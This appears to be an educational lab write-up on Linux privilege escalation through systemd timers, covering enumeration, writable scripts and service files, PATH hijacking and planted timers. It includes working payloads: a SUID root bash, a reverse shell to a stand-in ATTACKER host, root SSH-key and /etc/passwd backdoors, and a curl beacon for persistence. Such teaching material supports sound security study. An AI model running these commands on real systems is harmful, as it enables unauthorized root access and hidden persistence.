Systemd Timers Exploitation

intermediate25 minWriteup

Exploiting systemd timers for privilege escalation

Learning Objectives

  • Enumerate systemd timers
  • Find writable timer services
  • Exploit timer misconfigs
  • Create malicious services

Systemd timers are the modern replacement for cron jobs on many Linux systems. They offer more features and flexibility, but from a privilege escalation perspective, they present similar attack vectors to

.

Think of systemd timers as cron's fancy younger sibling. While cron is simple and straightforward, systemd timers come with more configuration options, dependencies, and complexity - which means more potential misconfigurations to exploit.

Modern Systems

Most modern Linux distributions (Ubuntu 16.04+, RHEL/CentOS 7+, Debian 8+) use systemd. If a system uses systemd, check both cron jobs AND systemd timers for scheduled tasks.

Understanding Systemd Timers

1Systemd Timer Architecture:
2├── Timer Unit (.timer file)
3│ └── Defines WHEN to run
4│ └── OnCalendar, OnBootSec, OnUnitActiveSec
5├── Service Unit (.service file)
6│ └── Defines WHAT to run
7│ └── ExecStart, User, WorkingDirectory
8└── Both needed for scheduled tasks
9 
10Timer Types:
11├── Realtime (OnCalendar)
12│ └── Like cron - specific times
13│ └── OnCalendar=*-*-* 04:00:00 (daily at 4am)
14├── Monotonic
15│ └── Relative to events
16│ └── OnBootSec=15min (15 min after boot)
17│ └── OnUnitActiveSec=1h (hourly after activation)
18└── Combinations possible
19 
20File Locations:
21├── /etc/systemd/system/ ← Custom (admin-created)
22├── /lib/systemd/system/ ← Package-installed
23├── /usr/lib/systemd/system/ ← Package-installed
24└── ~/.config/systemd/user/ ← User timers

Enumerating Systemd Timers

bash
1606070;"># List all timers (active and inactive)
2systemctl list-timers --all
3 
4606070;"># Example output:
5606070;"># NEXT LEFT LAST PASSED UNIT ACTIVATES
6606070;"># Mon 2024-01-01 00:00:00 UTC 2h left Sun 2023-12-31 00:00:00 UTC 22h ago backup.timer backup.service
7606070;"># Mon 2024-01-01 06:00:00 UTC 8h left Sun 2023-12-31 06:00:00 UTC 16h ago custom-cleanup.timer custom-cleanup.service
8 
9606070;"># Focus on:
10606070;"># - Custom timers (not standard system timers)
11606070;"># - Timers running soon (for quick exploitation)
12606070;"># - Timers activating services we can analyze
13 
14606070;"># Show timer details
15systemctl cat backup.timer
16systemctl status backup.timer
17 
18606070;"># Show the service it activates
19systemctl cat backup.service
20systemctl status backup.service
21 
22606070;"># Find all timer files
23find /etc/systemd -name 606070;">#a5d6ff;">"*.timer" 2>/dev/null
24find /lib/systemd -name 606070;">#a5d6ff;">"*.timer" 2>/dev/null
25find /usr/lib/systemd -name 606070;">#a5d6ff;">"*.timer" 2>/dev/null
26 
27606070;"># Read timer content
28cat /etc/systemd/system/backup.timer
29 
30606070;"># Read associated service
31cat /etc/systemd/system/backup.service

Example Timer and Service

ini
1606070;"># /etc/systemd/system/backup.timer
2[Unit]
3Description=Backup Timer
4 
5[Timer]
6OnCalendar=*-*-* 02:00:00
7Persistent=true
8 
9[Install]
10WantedBy=timers.target
11 
12606070;"># /etc/systemd/system/backup.service
13[Unit]
14Description=Backup Service
15 
16[Service]
17Type=oneshot
18ExecStart=/opt/scripts/backup.sh
19User=root
20 
21606070;"># The key question:
22606070;"># Can we modify /opt/scripts/backup.sh?

Writable Script Exploitation

bash
1606070;"># Same as cron - if the script is writable, we win
2 
3606070;"># 1. Find what the timer runs
4systemctl cat backup.service | grep ExecStart
5606070;"># ExecStart=/opt/scripts/backup.sh
6 
7606070;"># 2. Check permissions
8ls -la /opt/scripts/backup.sh
9606070;"># -rwxrwxrwx 1 root root 256 Dec 1 00:00 backup.sh
10606070;"># WRITABLE by everyone!
11 
12606070;"># 3. Inject payload
13echo 606070;">#a5d6ff;">'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
14 
15606070;"># 4. Wait for timer to fire (check NEXT in list-timers)
16606070;"># Or manually trigger if possible:
17sudo systemctl start backup.service
18 
19606070;"># 5. Use the backdoor
20/tmp/rootbash -p
21606070;"># root shell!
22 
23606070;"># Alternative payloads:
24606070;"># Reverse shell
25echo 606070;">#a5d6ff;">'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /opt/scripts/backup.sh
26 
27606070;"># SSH key
28echo 606070;">#a5d6ff;">'echo "YOUR_KEY" >> /root/.ssh/authorized_keys' >> /opt/scripts/backup.sh
29 
30606070;"># New root user
31echo 606070;">#a5d6ff;">'echo "hacker:\$1\$xyz\$abc:0:0::/root:/bin/bash" >> /etc/passwd' >> /opt/scripts/backup.sh

Writable Service File

bash
1606070;"># If we can modify the .service file itself
2 
3606070;"># Check service file permissions
4ls -la /etc/systemd/system/backup.service
5606070;"># -rw-rw-rw- 1 root root 156 Dec 1 00:00 backup.service
6606070;"># WRITABLE!
7 
8606070;"># Modify ExecStart to run our payload
9606070;"># Original:
10606070;"># ExecStart=/opt/scripts/backup.sh
11 
12606070;"># Modified:
13cat > /etc/systemd/system/backup.service << 606070;">#a5d6ff;">'EOF'
14[Unit]
15Description=Backup Service
16 
17[Service]
18Type=oneshot
19ExecStart=/bin/bash -c 606070;">#a5d6ff;">'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'
20User=root
21EOF
22 
23606070;"># Reload systemd to pick up changes
24606070;"># (might need privilege or wait for reboot)
25systemctl daemon-reload
26 
27606070;"># Wait for timer to fire, or trigger manually if possible
28 
29606070;"># Alternative: Add ExecStartPre or ExecStartPost
30606070;"># These run before/after main command
31606070;"># Can be additional escalation vectors

daemon-reload Required

After modifying .service files, systemd needs daemon-reload to see changes. This usually requires root or sudo. Changes might only take effect after reboot if you can't reload.

PATH Manipulation in Services

bash
1606070;"># Check if service uses relative commands
2 
3606070;"># View service
4systemctl cat backup.service
5606070;"># ExecStart=tar -czf /backup/data.tar.gz /var/data
6 
7606070;"># "tar" without full path = vulnerable if PATH writable
8 
9606070;"># Check Environment in service
10systemctl cat backup.service | grep -i path
11systemctl cat backup.service | grep -i environment
12 
13606070;"># If no PATH set, system default is used
14606070;"># If PATH includes writable directory first, we can hijack
15 
16606070;"># Example exploitation:
17606070;"># Service runs as root with PATH=/usr/local/bin:/usr/bin:/bin
18606070;"># If /usr/local/bin is writable:
19 
20echo 606070;">#a5d6ff;">'#!/bin/bash' > /usr/local/bin/tar
21echo 606070;">#a5d6ff;">'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /usr/local/bin/tar
22chmod +x /usr/local/bin/tar
23 
24606070;"># When service runs "tar", our version executes
25 
26606070;"># Alternative: Check Environment= directive
27606070;"># Environment=PATH=/custom/path:/usr/bin
28606070;"># If /custom/path writable, same attack

Creating Malicious Timers

bash
1606070;"># If we have write access to systemd directories
2606070;"># (rare, but check /etc/systemd/system permissions)
3 
4ls -la /etc/systemd/system/
5606070;"># drwxrwxrwx? = writable!
6 
7606070;"># Create malicious timer
8cat > /etc/systemd/system/evil.timer << 606070;">#a5d6ff;">'EOF'
9[Unit]
10Description=Evil Timer
11 
12[Timer]
13OnBootSec=1min
14OnUnitActiveSec=5min
15 
16[Install]
17WantedBy=timers.target
18EOF
19 
20606070;"># Create malicious service
21cat > /etc/systemd/system/evil.service << 606070;">#a5d6ff;">'EOF'
22[Unit]
23Description=Evil Service
24 
25[Service]
26Type=oneshot
27ExecStart=/bin/bash -c 606070;">#a5d6ff;">'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'
28User=root
29EOF
30 
31606070;"># Enable timer
32606070;"># May need sudo or wait for reboot
33systemctl daemon-reload
34systemctl enable evil.timer
35systemctl start evil.timer
36 
37606070;"># Timer fires every 5 minutes, creating SUID bash

User-Level Timers

bash
1606070;"># Users can create their own timers in ~/.config/systemd/user/
2 
3606070;"># Check for user timers
4ls -la ~/.config/systemd/user/
5systemctl --user list-timers --all
6 
7606070;"># User timers run as the user, not root
8606070;"># But if admin misconfigured user service with elevated privs...
9 
10606070;"># Check other users' timer directories
11find /home -path 606070;">#a5d6ff;">"*/.config/systemd/user/*.timer" 2>/dev/null
12 
13606070;"># If writable, could exploit:
14606070;"># - Run commands as that user
15606070;"># - Potentially pivot to their sudo access
16606070;"># - Access their files/credentials
17 
18606070;"># Creating your own user timer (for persistence)
19mkdir -p ~/.config/systemd/user
20 
21cat > ~/.config/systemd/user/beacon.timer << 606070;">#a5d6ff;">'EOF'
22[Unit]
23Description=Beacon Timer
24 
25[Timer]
26OnBootSec=1min
27OnUnitActiveSec=5min
28 
29[Install]
30WantedBy=timers.target
31EOF
32 
33cat > ~/.config/systemd/user/beacon.service << 606070;">#a5d6ff;">'EOF'
34[Unit]
35Description=Beacon Service
36 
37[Service]
38Type=oneshot
39ExecStart=/bin/bash -c 606070;">#a5d6ff;">'curl http://ATTACKER/beacon'
40EOF
41 
42systemctl --user daemon-reload
43systemctl --user enable beacon.timer
44systemctl --user start beacon.timer

Cron vs Systemd Timers

1Cron vs Systemd Timer Comparison:
2┌─────────────────────────────────────────────────────────────┐
3│ Aspect │ Cron │ Systemd Timer │
4├─────────────────────────────────────────────────────────────┤
5│ Config Location │ /etc/crontab │ /etc/systemd/... │
6│ │ /etc/cron.d/ │ /lib/systemd/... │
7│ │ /var/spool/cron/ │ │
8├─────────────────────────────────────────────────────────────┤
9│ List Jobs │ crontab -l │ systemctl │
10│ │ cat /etc/crontab │ list-timers │
11├─────────────────────────────────────────────────────────────┤
12│ Find Hidden │ pspy │ pspy + list-timers │
13├─────────────────────────────────────────────────────────────┤
14│ Attack Vectors │ Script modification │ Script modification│
15│ │ PATH manipulation │ Service file edit │
16│ │ Wildcard injection │ PATH manipulation │
17├─────────────────────────────────────────────────────────────┤
18│ Recon Command │ cat /etc/crontab │ systemctl │
19│ │ │ list-timers --all │
20└─────────────────────────────────────────────────────────────┘
21 
22Check BOTH on modern systems - tasks might use either!

Check Both

Modern systems often have both cron and systemd timers. Don't assume all scheduled tasks are in cron. Always enumerate both to find all potential attack vectors.

Systemd Timer Methodology

Systemd Timer Exploitation Flow

1
List Timerssystemctl list-timers --all
2
Identify CustomLook for non-standard timer names
3
Read Servicesystemctl cat [name].service
4
Check ScriptVerify ExecStart script permissions
5
Check Service FileVerify .service file permissions
6
ExploitModify writable script or service

Knowledge Check

Quick Quiz
Question 1 of 3

What two files are needed for a systemd scheduled task?

Challenges

Exploit Systemd Timer

Challenge
🔥 intermediate

You discover a backup.timer that runs daily at 2 AM. The backup.service runs /opt/scripts/daily_backup.sh as root. The script is world-writable. Get root.

Need a hint? (4 available)

Key Takeaways

  • systemctl list-timers --all shows all scheduled tasks
  • Timers need both .timer and .service files
  • Check ExecStart scripts for writability
  • Service files themselves may be writable
  • daemon-reload required after modifying unit files
  • Always check both cron AND systemd timers